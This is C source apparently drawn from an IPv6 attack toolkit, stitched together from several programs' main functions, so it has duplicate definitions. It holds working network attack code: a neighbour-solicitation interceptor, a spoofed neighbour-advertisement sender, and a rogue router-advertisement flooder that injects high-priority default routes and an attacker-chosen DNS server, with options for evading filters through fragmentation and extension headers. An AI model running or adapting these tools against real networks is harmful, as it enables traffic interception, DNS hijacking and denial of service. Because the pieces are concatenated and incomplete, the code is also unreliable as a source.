pkt = thc_destroy_packet(pkt);
// usleep(1);
if (count % 100 == 0)
printf(".");
}
return 0;
}
int main(int argc, char *argv[]) {
char dummy[24], mac[6] = "", buf2[6], buf3[1398];
unsigned char *ownmac = mac;
int i;
if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (debug)
printf("Preparing spoofed packet for speed-up\n");
while ((i = getopt(argc, argv, "FHDRl")) >= 0) {
switch (i) {
case 'F':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
case 'R':
do_reverse = 1;
break;
case 'l':
do_loop = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 1)
help(argv[0]);
interface = argv[optind];
if (argc - optind == 2 && argv[optind + 1] != NULL)
sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
(unsigned int *) &mac[5]);
else
ownmac = thc_get_own_mac(interface);
memset(dummy, 'X', sizeof(dummy));
dummy[16] = 2;
dummy[17] = 1;
memcpy(&dummy[18], ownmac, 6);
memset(buf2, 0, sizeof(buf2));
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
for (i = 0; i <= 0 + do_reverse; i++) {
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, dummy, dummy, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop) {
ptype = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0)
return -1;
}
if (do_frag) {
if (ptype == NXT_ICMP6)
ptype = NXT_FRAG;
for (i = 0; i < do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
return -1;
}
if (do_dst) {
if (ptype == NXT_ICMP6)
ptype = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, ICMP6_NEIGHBORADV_SOLICIT | ICMP6_NEIGHBORADV_OVERRIDE, dummy, 24, 0) < 0)
return -1;
if (thc_generate_pkt(interface, ownmac, dummy, pkt, &pkt_len) < 0)
return -1;
ipv6 = (thc_ipv6_hdr *) pkt;
memset(ipv6->pkt + 56 + (do_dst * 1400) + (do_hop + do_frag) * 8, 0, 2); // reset checksum to zero
if (debug) {
thc_dump_data(ipv6->pkt, ipv6->pkt_len, "Prepared spoofing packet");
printf("\n");
}
if (i == 0 && do_reverse) {
ipv62 = ipv6;
ipv62->pkt[0] = 0x33; // multicast mac hack for destination
ipv62->pkt[1] = 0x33; // multicast mac hack for destination
ipv6 = NULL;
pkt2 = pkt;
pkt = NULL;
pkt2_len = pkt_len;
pkt_len = 0;
}
}
printf("Remember to enable routing (ip_forwarding), you will denial service otherwise!\n");
printf("Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end) ...\n");
return thc_pcap_function(interface, "ip6", (char *) intercept, NULL);
}
int main(int argc, char *argv[]) {
unsigned char *pkt1 = NULL, *pkt2 = NULL, buf[24], buf2[6], buf3[1500];
unsigned char *unicast6, *src6 = NULL, *dst6 = NULL, srcmac[8] = "", replymac[8] = "", *mac = replymac, *smac = NULL;
int pkt1_len = 0, pkt2_len = 0, prefer = PREFER_GLOBAL, i, do_hop = 0, do_dst = 0, do_frag = 0, cnt, type = NXT_ICMP6, wait = 5, loop = -1;
unsigned int flags = ICMP6_NEIGHBORADV_OVERRIDE;
char *interface;
int offset = 14;
thc_ipv6_hdr *hdr;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);
while ((i = getopt(argc, argv, "DFHOrsn:w:m:")) >= 0) {
switch (i) {
case 'n':
loop = atoi(optarg);
break;
case 'w':
wait = atoi(optarg);
break;
case 'm':
sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &srcmac[0], (unsigned int *) &srcmac[1], (unsigned int *) &srcmac[2], (unsigned int *) &srcmac[3],
(unsigned int *) &srcmac[4], (unsigned int *) &srcmac[5]);
smac = srcmac;
break;
case 'O':
if ((flags & ICMP6_NEIGHBORADV_OVERRIDE) > 0)
flags -= ICMP6_NEIGHBORADV_OVERRIDE;
break;
case 'r':
flags = (flags | ICMP6_NEIGHBORADV_ROUTER);
break;
case 's':
flags = (flags | ICMP6_NEIGHBORADV_SOLICIT);
break;
case 'F':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 2)
help(argv[0]);
if (do_hdr_size)
offset = do_hdr_size;
interface = argv[optind];
if (thc_get_own_mac(interface) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
if ((unicast6 = thc_resolve6(argv[optind + 1])) == NULL) {
fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]);
exit(-1);
}
if (argc - optind >= 3 && argv[optind + 2] != NULL)
dst6 = thc_resolve6(argv[optind + 2]);
else
dst6 = thc_resolve6("ff02::1");
if (dst6 == NULL) {
fprintf(stderr, "Error: could not resolve destination of advertise: %s\n", argv[optind + 2]);
exit(-1);
}
if (argc - optind >= 4 && argv[optind + 3] != NULL)
sscanf(argv[optind + 3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &replymac[0], (unsigned int *) &replymac[1], (unsigned int *) &replymac[2], (unsigned int *) &replymac[3],
(unsigned int *) &replymac[4], (unsigned int *) &replymac[5]);
else
mac = thc_get_own_mac(interface);
if (smac == NULL)
smac = mac;
if (argc - optind >= 5 && argv[optind + 4] != NULL)
src6 = thc_resolve6(argv[optind + 4]);
else
src6 = unicast6;
memset(buf, 0, sizeof(buf));
memcpy(buf, unicast6, 16);
buf[16] = 2;
buf[17] = 1;
memcpy(&buf[18], mac, 6);
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
if ((pkt1 = thc_create_ipv6_extended(interface, prefer, &pkt1_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf2, sizeof(buf2)) < 0)
return -1;
}
if (do_frag) {
if (type == NXT_ICMP6)
type = NXT_FRAG;
for (i = 0; i <= do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt1, &pkt1_len, cnt++) < 0)
return -1;
}
if (do_dst) {
if (type == NXT_ICMP6)
type = NXT_DST;
if (thc_add_hdr_dst(pkt1, &pkt1_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_NEIGHBORADV, 0, flags, (unsigned char *) &buf, 24, 0) < 0)
return -1;
if (thc_generate_pkt(interface, smac, NULL, pkt1, &pkt1_len) < 0) {
fprintf(stderr, "Error: Can not generate packet, exiting ...\n");
exit(-1);
}
/*
if ((pkt2 = thc_create_ipv6_extended(interface, prefer, &pkt2_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop)
if (thc_add_hdr_hopbyhop(pkt2, &pkt2_len, buf2, sizeof(buf2)) < 0)
return -1;
if (do_frag)
for (i = 0; i <= do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt2, &pkt2_len, cnt++) < 0)
return -1;
if (do_dst)
if (thc_add_hdr_hopbyhop(pkt2, &pkt2_len, buf3, sizeof(buf3)) < 0)
return -1;
if (thc_add_icmp6(pkt2, &pkt2_len, ICMP6_NEIGHBORADV, 0, 0, (unsigned char *) &buf, 24, 0) < 0)
return -1;
if (thc_generate_pkt(interface, smac, NULL, pkt2, &pkt2_len) < 0) {
fprintf(stderr, "Error: Can not generate packet, exiting ...\n");
exit(-1);
}
*/
printf("Starting advertisement of %s (Press Control-C to end)\n", argv[optind + 1]);
while (loop) {
if (do_dst) {
hdr = (thc_ipv6_hdr *) pkt1;
thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240);
hdr = (thc_ipv6_hdr *) pkt2;
thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240);
} else {
thc_send_pkt(interface, pkt1, &pkt1_len);
// thc_send_pkt(interface, pkt2, &pkt2_len);
}
if (loop != -1)
loop--;
if (loop)
sleep(wait);
}
return 0;
}
int main(int argc, char *argv[]) {
char *routerip, *interface, mac[16] = "";
unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
unsigned char buf[512], *ptr, buf2[6], string[] = "ip6 and icmp6 and dst ff02::2";
unsigned char *dst = thc_resolve6("ff02::1");
unsigned char *dstmac = thc_get_multicast_mac(dst);
unsigned char *dns;
int size, mtu = 1500, i, j, k, cnt;
unsigned char *pkt = NULL;
int pkt_len = 0;
int rawmode = 0;
pcap_t *p;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
while ((i = getopt(argc, argv, "FHDr")) >= 0) {
switch (i) {
case 'r':
thc_ipv6_rawmode(1);
rawmode = 1;
break;
case 'F':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 2)
help(argv[0]);
if (do_hdr_size)
myoff = do_hdr_size;
frbuf = buf;
frbuf2 = buf2;
frbuf2len = sizeof(buf2);
memset(mac, 0, sizeof(mac));
interface = argv[optind];
mtu = thc_get_mtu(interface);
if (argc - optind >= 5)
mtu = atoi(argv[optind + 4]);
if (argc - optind >= 7 && (ptr = argv[optind + 5]) != NULL)
sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
(unsigned int *) &mac[5]);
else
mac6 = thc_get_own_mac(interface);
if (argc - optind >= 4 && argv[optind + 3] != NULL)
ip6 = thc_resolve6(argv[optind + 3]);
else
ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
frip6 = ip6;
frint = interface;
frmac = mac6;
if (argc - optind >= 4 && argv[optind + 2] != NULL)
dns = thc_resolve6(argv[optind + 2]);
else
dns = thc_resolve6("ff02::fb");
routerip = argv[optind + 1];
if (routerip == NULL || (ptr = index(routerip, '/')) == NULL) {
printf("Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. ff80::01/16\n");
exit(-1);
}
*ptr++ = 0;
size = atoi(ptr);
routerip6 = thc_resolve6(routerip);
route6 = thc_resolve6(routerip);
if (routerip6 == NULL || size < 1 || size > 128) {
fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[optind + 1]);
exit(-1);
}
if (size < 48 || size > 64)
fprintf(stderr, "Warning: unusual network prefix size defined, be sure what your are doing: %d\n", size);
if (dns == NULL) {
fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[optind + 2]);
exit(-1);
}
if (ip6 == NULL) {
fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[optind + 3]);
exit(-1);
}
if (mtu < 1 || mtu > 65536) {
fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[optind + 4]);
exit(-1);
}
if (mtu < 1228 || mtu > 1500)
fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu);
if (mac6 == NULL) {
fprintf(stderr, "Error: mac address in invalid\n");
exit(-1);
}
memset(buf, 0, sizeof(buf));
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
if ((p = thc_pcap_init(interface, string)) == NULL) {
fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
exit(-1);
}
i = 128 - size;
j = i / 8;
k = i % 8;
if (k > 0)
j++;
memset(route6 + 16 - j, 0, j);
if (k > 0)
route6[17 - j] = (route6[17 - j] >> (8 - k)) << (8 - k);
// buf[3] = 250; // 0-3: reachable timer
buf[6] = 4; // 4-7: retrans timer
// option mtu
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
// option prefix
buf[16] = 3;
buf[17] = 4;
buf[18] = size; // prefix length
buf[19] = 128 + 64;
memset(&buf[20], 17, 4);
memset(&buf[24], 4, 4);
memcpy(&buf[32], route6, 16);
i = 48;
// mac address option
buf[i++] = 1;
buf[i++] = 1;
memcpy(buf + i, mac6, 6);
i += 6;
// default route routing option
buf[i++] = 0x18; // routing entry option type
buf[i++] = 0x03; // length 3 == 24 bytes
buf[i++] = 0x00; // prefix length
buf[i++] = 0x08; // priority, highest of course
i += 2; // 52-53 unknown
buf[i++] = 0x11; // lifetime, word
buf[i++] = 0x11; // lifetime, word
i += 16; // 56-71 address, all zeros for default
// specific route routing option 2000::/3
buf[i++] = 0x18; // routing entry option type
buf[i++] = 0x03; // length 3 == 24 bytes
buf[i++] = 0x03; // prefix length
buf[i++] = 0x08; // priority, highest of course
i += 2; // 52-53 unknown
buf[i++] = 0x11; // lifetime, word
buf[i++] = 0x11; // lifetime, word
buf[i++] = 0x20; // 56-71 address: 2000::
i += 15;
// specific route routing option 2000::/3
buf[i++] = 0x18; // routing entry option type
buf[i++] = 0x03; // length 3 == 24 bytes
buf[i++] = 0x07; // prefix length
buf[i++] = 0x08; // priority, highest of course
i += 2; // 52-53 unknown
buf[i++] = 0x11; // lifetime, word
buf[i++] = 0x11; // lifetime, word
buf[i++] = 0xfc; // 56-71 address: fc::
i += 15;
// dns option
buf[i++] = 0x19; // dns option type
buf[i++] = 0x03; // length
i += 2; // 74-75 reserved
memset(buf + i, 1, 4); // validity time
i += 4;
memcpy(buf + i, dns, 16); // dns server
i += 16;
frbuflen = i;
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0)
return -1;
}
if (do_frag) {
type = NXT_FRAG;
for (i = 0; i <= do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
return -1;
}
if (do_dst) {
if (type == NXT_ICMP6)
type = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0)
return -1;
if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0)
return -1;
frhdr = (thc_ipv6_hdr *) pkt;
// init pcap
printf("Starting to advertise router %s (Press Control-C to end) ...\n", argv[optind + 1]);
while (1) {
if (do_dst) {
thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1240);
} else {
thc_send_pkt(interface, pkt, &pkt_len);
}
while (thc_pcap_check(p, (char *) send_rs_reply, NULL) > 0);
sleep(5);
}
return 0;
}